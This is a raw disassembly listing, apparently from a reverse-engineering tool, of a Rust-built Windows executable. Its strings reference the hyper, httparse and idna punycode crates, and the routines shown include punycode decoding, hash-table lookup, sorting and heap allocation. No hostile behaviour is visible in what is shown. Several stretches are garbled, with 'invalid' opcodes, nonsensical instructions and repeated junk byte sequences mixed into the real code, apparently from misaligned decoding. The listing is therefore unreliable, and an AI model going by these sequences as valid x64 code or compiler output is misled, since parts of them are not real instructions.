lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x60
call fcn.14015d7f0
ud2
mov ecx, 2
mov rdx, r14
call fcn.14015d7f0
ud2
mov ecx, 8
mov rdx, rbx
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
mov qword [rsp + 0x260], rdi
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x110], rax
lea rax, [0x140144ae0]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x260]
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x15323e
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x15323e
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rcx, [rsp + 0x80]
call fcn.140160e20
ud2
mov ecx, 2
mov edx, 0x20
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x240
call fcn.14015d7f0
ud2
lea r8, [0x1401aa428]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srclib.rs
call fcn.140160f40
ud2
mov ecx, 1
mov rdx, rbp
call fcn.14015d7f0
add byte [rdi], cl
invalid
test byte [rsi], al
add dword [rax], eax
add byte [rbp - 0x75], cl
invalid
and r15, rax
movdqu xmm2, xmmword [r8 + r15]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb ebp, xmm3
nop
test bp, bp
je 0x14008e700
lea ecx, [rbp - 1]
and ecx, ebp
tzcnt r13d, ebp
add r13, r15
and r13, rax
mov rbp, r13
shl rbp, 5
mov r10, rsi
sub r10, rbp
mov rbp, qword [r10 + 8]
xor rbp, rbx
mov r10, qword [r10]
xor r10, rdi
or r10, rbp
mov ebp, ecx
jne 0x14008e6c0
jmp 0x14008e740
cmp r12, 1
mov r12d, 1
invalid
je 0x14008e724
add byte [rax + rbx + 0x66], dh
pmovmskb ecx, mm2
pmovmskb ecx, xmm2
xor r12d, r12d
test ecx, ecx
setne r12b
xchg ebp, eax
invalid
tzcnt r9d, ecx
add r9, r15
and r9, rax
xchg ebp, eax
invalid
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x14008e78c
add r15, r11
add r15, 0x10
add r11, 0x10
jmp 0x14008e6aa
neg r13
shl r13, 5
mov rax, qword [r8 + r13 - 0x10]
mov rdx, qword [r8 + r13 - 8]
lea r10, [r8 + r13]
add r10, 0xfffffffffffffff8
mov rcx, qword [rsp + 0x20]
mov qword [r8 + r13 - 0x10], rcx
mov rcx, qword [rsp + 0x90]
mov qword [r10], rcx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx r10d, byte [r8 + r9]
test r10b, r10b
js 0x14008e7a9
movdqa xmm0, xmmword [r8]
pmovmskb ecx, xmm0
tzcnt r9d, ecx
movzx r10d, byte [r8 + r9]
and r10b, 1
movzx ecx, r10b
sub qword [r14 + 0x10], rcx
lea rcx, [r9 - 0x10]
and rax, rcx
mov byte [r8 + r9], dl
mov byte [rax + r8 + 0x10], dl
inc qword [r14 + 0x18]
shl r9, 5
mov r10, r8
sub r10, r9
mov qword [r10 - 0x18], rbx
mov qword [r10 - 0x20], rdi
neg r9
mov rax, qword [rsp + 0x20]
mov qword [r8 + r9 - 0x10], rax
add r10, 0xfffffffffffffff8
xor eax, eax
jmp 0x14008e763
mov eax, dword [rax + 0x18]
lea rdx, [0x1401abe76]
mov r8d, 0x24
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140092c19
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x108
mov rsi, r9
mov r12, r8
mov r15, rdx
mov qword [rsp + 0x30], rcx
mov qword [rdx + 0x10], 0
lea rdi, [0x140204680]
mov rbx, r9
jmp 0x140092c99
cmp rbx, rsi
ja 0x140092d87
mov cl, 0x2d
mov rdx, r12
mov r8, rbx
call fcn.14005e6f0
cmp rax, 1
jne 0x140092d87
mov rbx, rdx
cmp rdx, rsi
jae 0x140092c90
cmp byte [r12 + rbx], 0x2d
jne 0x140092c90
test rbx, rbx
je 0x140093068
lea r13, [rbx + 1]
mov r14, rsi
sub r14, r13
jbe 0x140092cdf
cmp byte [r12 + r13], 0xbf
jle 0x1400939ad
add r13, r12
cmp rbx, 8
jae 0x140093075
cmp byte [r12 + rbx - 1], 0
js 0x1400930bc
mov rax, rbx
dec rax
je fcn.140092d92
cmp byte [r12 + rbx - 2], 0
js 0x1400930bc
mov rax, rbx
add rax, 0xfffffffffffffffe
je fcn.140092d92
cmp byte [r12 + rbx - 3], 0
js 0x1400930bc
add byte [rax], al
add byte [rax], al
mov rax, rbx
add rax, 0xfffffffffffffffd
je fcn.140092d92
cmp byte [r12 + rbx - 4], 0
js 0x1400930bc
invalid
cld
add byte [rdi], cl
mov byte [rdx + 0x48000003], al
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
add eax, 0xfffffffc
je fcn.140092d92
cmp byte [r12 + rbx - 5], 0
mov rax, rbx
add rax, 0xfffffffffffffffc
add eax, 0xfffffffc
je fcn.140092d92
cmp byte [r12 + rbx - 5], 0
jl 0x140092d63
sti
add byte [rdi], cl
mov byte [rbp + 3], ch
add byte [rax], al
js 0x1400930bc
mov rax, rbx
add rax, 0xfffffffffffffffb
je fcn.140092d92
cmp byte [r12 + rbx - 6], 0
js 0x1400930bc
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
sar dl, 0x74
and eax, 0x1c7c8041
stc
add byte [rdi], cl
mov byte [rbx + 3], al
add byte [rax], al
mov rax, rbx
add rax, 0xfffffffffffffffa
je fcn.140092d92
cmp byte [r12 + rbx - 7], 0
js 0x1400930bc
mov rax, rbx
add rax, 0xfffffffffffffff9
je fcn.140092d92
jmp 0x1400930bc
mov r14, rsi
mov r13, r12
xor ebx, ebx
mov r12, rdi
mov qword [rsp + 0x38], rdx
lea r9d, [rbp + 0x1a]
inc r13
mov r10d, ebp
neg r10d
mov r11d, 0x24
mov edi, 1
mov ecx, esi
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jb 0x140092e10
nop
lea edx, [rax - 0x41]
cmp dl, 0x1a
jb 0x140092e14
add al, 0x9f
mov edx, eax
cmp al, 0x1a
jb 0x140092e14
jmp 0x1400930bc
add byte [rdx + rbp*8], al
add al, 0xea
mov edx, eax
test edi, edi
je 0x1400930dc
movzx r8d, dl
mov eax, ecx
not eax
xor edx, edx
sal bh, cl
test dword [rcx + rdi - 0x40], 0x28b820f
add byte [rax], al
ret 0xc889
sal bh, cl
test dword [rcx + rdi - 0x40], 0x28b820f
add byte [rax], al
mov eax, edi
imul eax, r8d
add ecx, eax
lea eax, [r10 + r11]
cmp r11d, r9d
mov edx, 0x1a
cmovae eax, edx
cmp r11d, ebp
cmovbe eax, r12d
cmp eax, r8d
ja 0x140092e90
mov r8d, 0x24
sub r8d, eax
mov eax, r8d
mul edi
jo 0x1400930bc
cmp r13, r14
je 0x1400930bc
add r11d, 0x24
imul edi, r8d
inc r13
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jae 0x140092df0
jmp 0x140092e10
mov r11d, dword [rsp + 0x50]
inc r11d
je 0x1400938a7
mov eax, ecx
sub eax, esi
test esi, esi
mov r8d, 2
mov edx, 0x2bc
cmove r8d, edx
xor ebp, ebp
xor edx, edx
div r8d
mov r8d, eax
xor edx, edx
div r11d
add eax, r8d
cmp eax, 0x1c8
mov r9, qword [rsp + 0x38]
cmp byte [rcx - 0x46], al
invalid
invalid
invalid
invalid
jb 0x140092f09
xor ebp, ebp
nop dword [rax]
invalid
add byte [rax], 0
add byte [rax], al
mov edx, eax
imul rdx, r10
imul edx, edx
shr rdx, 0x20
mov r8d, eax
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
add ebp, 0x24
cmp eax, 0x3e57
mov eax, r8d
ja 0x140092ee0
jmp 0x140092f0c
mov r8d, eax
lea eax, [r8*4]
lea eax, [rax + rax*8]
add r8d, 0x26
xor edx, edx
div r8w
mov r10d, eax
mov eax, ecx
xor edx, edx
div r11d
add r15d, eax
jb 0x1400930bc
cmp r15d, 0x110000
je 0x1400930bc
mov eax, r15d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef07ff
jbe 0x1400930bc
mov esi, edx
mov dword [rsp + 0x50], r11d
mov rax, qword [rsp + 0x78]
mov r8, qword [rax]
mov edi, edx
test r9, r9
je 0x140092fa0
mov rax, r9
shl rax, 4
xor ecx, ecx
jmp 0x140092f89
add rcx, 0x10
cmp rax, rcx
je 0x140092fa0
mov rdx, qword [r8 + rcx]
cmp rdx, rdi
jb 0x140092f80
inc rdx
mov qword [r8 + rcx], rdx
jmp 0x140092f80
mov dword [rsp + 0x88], r15d
mov r15, qword [rsp + 0x78]
and al, 0x78
cmp r9, qword [r15 + 8]
jne 0x140092fd7
mov rcx, r15
mov rdx, r9
mov word [rsp + 0x80], r10w
mov dword [rsp + 0x80], edx
call fcn.1400219d0
movzx r10d, word [rsp + 0x80]
add byte [rax], al
add byte [rbp - 0x75], cl
invalid
mov r9, qword [r15 + 0x10]
movzx eax, r10w
add ebp, eax
mov rax, r9
shl rax, 4
mov qword [r8 + rax], rdi
mov ecx, dword [rsp + 0x88]
mov dword [r8 + rax + 8], ecx
lea rdx, [r9 + 1]
mov qword [r15 + 0x10], rdx
mov r15d, ecx
inc esi
cmp r13, r14
jne 0x140092dc3
cmp rdx, 0x15
jae 0x1400930f6
cmp rdx, 1
mov r12, qword [rsp + 0x48]
jbe 0x140093040
mov rdi, r8
mov r8d, 1
mov rcx, rdi
mov rsi, rdx
call fcn.140093a40
mov r8, rdi
mov rdx, rsi
jmp 0x140093040
mov rcx, qword [rsp + 0x30]
lea rax, [r12 + rbx]
add rbx, rdx
mov qword [rcx], r12
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rdx
xorps xmm0, xmm0
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rbx
jmp 0x1400930c8
xor ebx, ebx
mov r14, rsi
mov r13, r12
jmp fcn.140092d92
movabs rax, 0x8080808080808080
test qword [r12], rax
jne 0x1400930bc
lea rdx, [r12 + 7]
and rdx, 0xfffffffffffffff8
sub rdx, r12
mov ecx, 8
cmovne rcx, rdx
lea rdx, [rbx - 8]
cmp rcx, rdx
jae 0x1400930b2
test qword [r12 + rcx], rax
jne 0x1400930bc
add rcx, 8
cmp rcx, rdx
jb 0x1400930a3
test qword [r12 + rdx], rax
je fcn.140092d92
mov rax, qword [rsp + 0x30]
mov qword [rax], 0
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.attempt_to_divide_by_zeroC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov edx, 0x19
call fcn.140160fb0
ud2
mov rdi, r9
mov qword [rsp + 0x40], r8
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
mov r12, qword [rsp + 0x48]
jne 0x140093135
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140093a07
mov rcx, rax
mov qword [0x140215360], rax
mov rdx, rsi
mov qword [rsp + 0x38], rdx
lea rax, [rdx*8]
movabs r8, 0x7ffffffffffffff0
and r8, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140093a07
mov r13, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14009318f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140093a21
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x100
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140093a21
mov r14, rax
mov eax, 1
sub rax, rdi
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x40]
lea rcx, [rax + 0x20]
mov qword [rsp + 0x90], rcx
lea rcx, [rax + 8]
mov qword [rsp + 0xb0], rcx
lea rcx, [rax - 8]
mov qword [rsp + 0xa8], rcx
add rax, 0xfffffffffffffff0
mov qword [rsp + 0xb8], rax
mov eax, reloc.WS2_32.dll_recv
mov qword [rsp + 0xa0], rax
xor edi, edi
xor r15d, r15d
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x60], r13
jmp 0x140093220
mov r15d, 1
mov rdi, qword [rsp + 0x58]
cmp rdi, rdx
jae 0x140093870
mov r8, rdx
sub r8, rdi
mov rax, rdi
shl rax, 4
mov rcx, qword [rsp + 0x40]
add rcx, rax
cmp r8, 2
jae 0x140093298
mov r10, rdx
mov rsi, r10
sub rsi, rdi
jb 0x140093979
cmp r10, rdx
ja 0x140093979
jae 0x1400932c7
cmp r8, 0xa
jae 0x1400932c7
lea rsi, [rdi + 0xa]
cmp rsi, rdx
cmovae rsi, rdx
mov qword [rsp + 0x58], rsi
sub rsi, rdi
jb 0x1400939cc
cmp r8, 1
adc r8, 0
mov rdx, rsi
call fcn.140093a40
mov rdx, qword [rsp + 0x38]
cmp r15, qword [rsp + 0xa0]
je 0x1400932da
jmp 0x14009335f
mov rbp, r15
mov r15, qword [rcx]
mov r9, qword [rcx + 0x10]
cmp r9, r15
jae 0x1400936f6
cmp r8, 2
jne 0x14009370e
lea r10, [rdi + 2]
mov r8d, 2
mov r15, rbp
jmp 0x1400937d7
mov qword [rsp + 0x58], r10
cmp r15, qword [rsp + 0xa0]
jne 0x14009335f
mov rbp, rdi
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140093306
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140093993
mov qword [0x140215360], rax
mov r8, r15
shl r8, 5
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140093993
mov rdi, rax
lea rax, [r15 + r15]
mov qword [rsp + 0xa0], rax
mov r8, r15
shl r8, 4
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, rdi
mov rdx, qword [rsp + 0x38]
mov rdi, rbp
mov rax, r15
shl rax, 4
mov qword [r14 + rax], rsi
mov qword [r14 + rax + 8], rdi
inc r15
mov rax, r15
cmp r15, 2
mov qword [rsp + 0x70], r14
jae 0x140093406
jmp 0x140093212
mov rdi, r10
sub r14, rdx
mov rcx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0xd0]
add rax, rdi
mov rcx, qword [rsp + 0xc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
mov qword [rcx], rax
lea rdx, [rbp + 0x10]
mov rax, qword [rsp + 0x78]
not rax
mov r8, qword [rsp + 0x50]
add r8, rax
shl r8, 4
mov rcx, rbp
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x88]
cmp rax, 1
mov rdx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x70]
jbe 0x14009320c
mov r15, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [r14 + rcx]
mov rcx, qword [r14 + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x140093480
mov r10, r15
shl r10, 4
mov r8, qword [r10 + r14 - 0x20]
cmp r8, rax
jbe 0x140093480
cmp r15, 3
jb 0x14009385a
lea rsi, [r15 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r14 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400936e3
cmp r15, 4
jb 0x140093865
add r8, rcx
cmp qword [r10 + r14 - 0x40], r8
mov r8, qword [rsp + 0x40]
jbe 0x14009349a
jmp 0x140093212
cmp r15, 3
mov r8, qword [rsp + 0x40]
jb 0x14009349f
lea rsi, [r15 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r14 + rcx]
cmp rcx, rax
jb 0x1400934a3
lea rsi, [r15 - 2]
cmp r15, rsi
jbe 0x1400938c1
lea rax, [rsi + 1]
cmp r15, rax
jbe 0x14009390c
mov r9, rsi
shl r9, 4
mov rcx, qword [r14 + r9 + 8]
shl rax, 4
mov r10, qword [r14 + rax]
mov rdi, qword [r14 + rax + 8]
add rdi, r10
mov r13, rdi
sub r13, rcx
jb 0x140093957
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x50], r15
cmp rdi, rdx
ja 0x140093968
mov qword [rsp + 0xd0], r10
mov qword [rsp + 0x88], r11
lea rdx, [r14 + r9]
mov qword [rsp + 0x68], rdx
mov rbp, qword [r14 + r9]
lea rdx, [r14 + rax]
mov qword [rsp + 0xc8], rdx
lea rax, [r14 + rax + 8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x80], rcx
mov r15, rcx
shl r15, 4
add r15, r8
mov r14, rbp
shl r14, 4
lea rsi, [r15 + r14]
shl rdi, 4
mov r12, r13
sub r12, rbp
cmp r12, rbp
jae 0x140093600
mov r14, r12
shl r14, 4
mov r13, qword [rsp + 0x60]
mov rcx, r13
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r14, r13
test rbp, rbp
mov r9, rbp
jle 0x140093699
test r12, r12
mov rbp, qword [rsp + 0x68]
jle 0x1400936a1
add rdi, qword [rsp + 0xb8]
mov r12, qword [rsp + 0x48]
nop
mov rax, rsi
mov rcx, r14
mov rdx, qword [r14 - 0x10]
mov r8, qword [rsi - 0x10]
cmp rdx, r8
mov esi, 0
sbb rsi, rsi
cmp rdx, r8
mov r14d, 0
adc r14, 0xffffffffffffffff
shl rsi, 4
add rsi, rax
shl r14, 4
add r14, rcx
cmp rdx, r8
mov rax, r14
cmovb rax, rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
cmp rsi, r15
jbe 0x1400935f2
add rdi, 0xfffffffffffffff0
cmp r14, r13
ja 0x1400935a0
mov rdi, r9
mov r15, rsi
mov rdx, r13
jmp 0x140093393
mov r12, qword [rsp + 0x60]
mov rcx, r12
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r14, r12
test rbp, rbp
mov r10, rbp
jle 0x1400936b4
cmp r13, r10
mov r12, qword [rsp + 0x48]
jle 0x1400936ce
add rdi, qword [rsp + 0x40]
mov r13, qword [rsp + 0x60]
mov rdx, r13
mov rbp, qword [rsp + 0x68]
nop word cs:[rax + rax]
mov r8, rdx
mov rcx, qword [rsi]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, rsi
movups xmm0, xmmword [r9]
movups xmmword [r15], xmm0
add r15, 0x10
shl rdx, 4
add rdx, r8
cmp rdx, r14
jae 0x140093390
mov al, cl
shl rax, 4
add rsi, rax
cmp rsi, rdi
jb 0x140093650
jmp 0x140093390
mov rdi, r9
mov r15, rsi
jmp 0x1400936bc
mov rdi, r9
mov r15, rsi
mov rdx, r13
mov r12, qword [rsp + 0x48]
jmp 0x140093393
mov rdi, r10
mov r13, qword [rsp + 0x60]
mov rdx, r13
mov r12, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x68]
jmp 0x140093393
mov rdi, r10
mov r13, qword [rsp + 0x60]
mov rdx, r13
mov rbp, qword [rsp + 0x68]
jmp 0x140093393
mov r8, qword [rsp + 0x40]
cmp rcx, rax
jae 0x14009349f
jmp 0x1400934a3
cmp r8, 2
jne 0x140093761
lea r10, [rdi + 2]
mov r8d, 2
mov r15, rbp
jmp 0x14009323e
mov qword [rsp + 0x70], r14
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0x50], rdi
lea r11, [rdx + rdi]
mov rdx, qword [rsp + 0x90]
lea rsi, [rdx + rax]
mov r10d, 2
mov rdi, r9
nop dword [rax]
mov r14, rdi
mov rdi, qword [rsi]
cmp rdi, r14
jae 0x1400937b2
lea r14, [r11 + r10]
inc r14
inc r10
add rsi, 0x10
cmp r14, 2
jne 0x140093740
jmp 0x1400937af
mov qword [rsp + 0x70], r14
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0x50], rdi
lea r11, [rdx + rdi]
mov rdx, qword [rsp + 0x90]
lea rsi, [rdx + rax]
mov r10d, 2
mov rdi, r9
nop dword [rax]
mov r14, rdi
mov rdi, qword [rsi]
cmp rdi, r14
jb 0x1400937b2
lea r14, [r11 + r10]
inc r14
inc r10
add rsi, 0x10
cmp r14, 2
jne 0x140093790
mov r10, r8
mov rdi, qword [rsp + 0x50]
lea rdx, [r10 + rdi]
mov r8, r10
mov r10, rdx
cmp r9, r15
mov rdx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x70]
mov r15, rbp
jae 0x14009323e
cmp rdi, r10
ja 0x1400939e2
cmp r10, rdx
ja 0x1400939f6
cmp r8, 2
jb 0x14009323e
mov qword [rsp + 0x58], r10
mov rdx, r8
shr rdx, 1
add rax, qword [rsp + 0xb0]
mov rbp, rdi
lea r9, [rdi + r8]
shl r9, 4
add r9, qword [rsp + 0xa8]
nop dword [rax]
mov r10, qword [rax - 8]
mov r11d, dword [rax]
mov rsi, qword [r9 - 8]
mov edi, dword [r9]
mov qword [rax - 8], rsi
mov dword [rax], edi
mov qword [r9 - 8], r10
mov dword [r9], r11d
add rax, 0x10
add r9, 0xfffffffffffffff0
dec rdx
jne 0x140093820
mov rdx, qword [rsp + 0x38]
mov r10, qword [rsp + 0x58]
mov rdi, rbp
jmp 0x14009323e
mov r15d, 2
jmp 0x140093212
mov r15d, 3
jmp 0x140093212
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
call rsi
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call rsi
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
jmp 0x140093045
lea rcx, str.attempt_to_divide_by_zeroC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov edx, 0x19
call fcn.140160fb0
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], 1
lea rax, [0x140204680]
mov qword [rsp + 0xe8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
lea rdx, [0x1401de660]
lea rcx, [rsp + 0xd8]
call fcn.140160e20
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], 1
lea rax, [0x140204680]
mov qword [rsp + 0xe8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
lea rdx, [0x1401de678]
lea rcx, [rsp + 0xd8]
call fcn.140160e20
ud2
lea r8, [0x1401de690]
mov rdx, rdi
call fcn.140161190
ud2
lea r8, [0x1401de690]
mov rcx, rdi
call fcn.140160f40
ud2
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x1401de738]
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6d8]
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rsi
mov r8, r13
mov r9, rsi
call fcn.140161400
ud2
lea r8, [0x1401de6f0]
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
call fcn.140161190
ud2
lea r8, [0x1401de648]
mov rcx, rdi
mov rdx, r10
call fcn.140161190
ud2
lea r8, [0x1401de648]
mov rcx, r10
call fcn.140160f40
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6a8]
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6c0]
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ebx, dword [rsp + 0xc0]
mov rbp, qword [rsp + 0xc8]
test ebx, ebx
je 0x140094170
test rdx, rdx
je 0x14009422b
mov rcx, qword [rsp + 0xd8]
cmp rdx, 1
jne 0x140094cb1
cmp rax, rcx
jb 0x140094cf0
mov qword [rsp + 0xd8], 0
jmp 0x1400941b4
test rdx, rdx
je 0x14009422b
movzx r8d, word [rsp + 0xc4]
movzx ecx, r8w
cmp rdx, 1
jne 0x140094cbb
cmp r8w, 4
ja 0x140096ed1
cmp rax, rcx
jb 0x140094ce8
test r8w, r8w
je 0x1400941b4
mov word [rsp + 0xc4], 0
mov qword [rsp + 0x40], 0
jmp 0x14009422b
mov edi, esi
mov eax, 0xdee95c4d
imul rdi, rax
shr rdi, 0x29
lea edx, [rdi + 0x1100]
mov rcx, r12
call fcn.140097850
imul eax, edi, 0x24c
mov ecx, esi
int1
sub ecx, eax
imul eax, ecx, 0x925
shr eax, 0x10
add eax, 0x1161
add byte [rdi], cl
mov bh, 0xd0
mov rcx, r12
call fcn.140097850
mov eax, esi
shr eax, 2
imul rax, rax, 0x24924925
imul eax, eax, 0x24924925
shr rax, 0x20
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub esi, ecx
je 0x14009422b
add esi, 0x11a7
mov edx, esi
mov rcx, r12
call fcn.140097850
mov r9, qword [rsp + 0xb0]
test r9, r9
jne 0x1400945d0
movzx r10d, byte [rsp + 0xa0]
cmp r10b, 2
je 0x140094703
mov r8, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x78]
mov r11, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
movzx ecx, byte [rsp + 0xa1]
mov byte [rsp + 0x30], cl
mov rbx, qword [rsp + 0x98]
test r8, r8
je 0x14009433e
cmp r8, rbx
je 0x140094332
lea rcx, [r8 + 1]
mov qword [rsp + 0x90], rcx
movzx edi, byte [r8]
movzx edx, dil
test dl, dl
jns 0x140094631
mov rsi, r12
mov r12, r14
mov ecx, edx
and ecx, 0x1f
lea r9, [r8 + 2]
mov qword [rsp + 0x90], r9
movzx r14d, byte [r8 + 1]
and r14d, 0x3f
cmp dl, 0xdf
jbe 0x140094aa9
lea rdx, [r8 + 3]
mov qword [rsp + 0x90], rdx
movzx r9d, byte [r8 + 2]
shl r14d, 6
and r9d, 0x3f
or r9d, r14d
cmp dil, 0xf0
jb 0x140094ac7
lea rdx, [r8 + 4]
mov qword [rsp + 0x90], rdx
movzx edx, byte [r8 + 3]
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
cmp edx, 0x110000
mov r14, r12
mov r12, rsi
jne case.0x140094523.0
mov qword [rsp + 0x90], 0
cmp rbp, r11
je 0x1400946fb
lea rcx, [rbp + 1]
mov qword [rsp + 0x78], rcx
movzx r8d, byte [rbp]
movzx edx, r8b
test dl, dl
js 0x140094380
mov rbp, rcx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140094420
jmp 0x140094631
mov ecx, edx
and ecx, 0x1f
lea rdi, [rbp + 2]
mov qword [rsp + 0x78], rdi
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x1400943ed
lea rdi, [rbp + 3]
mov qword [rsp + 0x78], rdi
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140094405
lea r8, [rbp + 4]
mov qword [rsp + 0x78], r8
movzx r9d, byte [rbp + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, ecx
mov rbp, r8
mov edx, r9d
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140094420
jmp 0x140094631
shl ecx, 6
or ecx, r9d
mov rbp, rdi
mov edx, ecx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140094420
jmp 0x140094631
shl ecx, 0xc
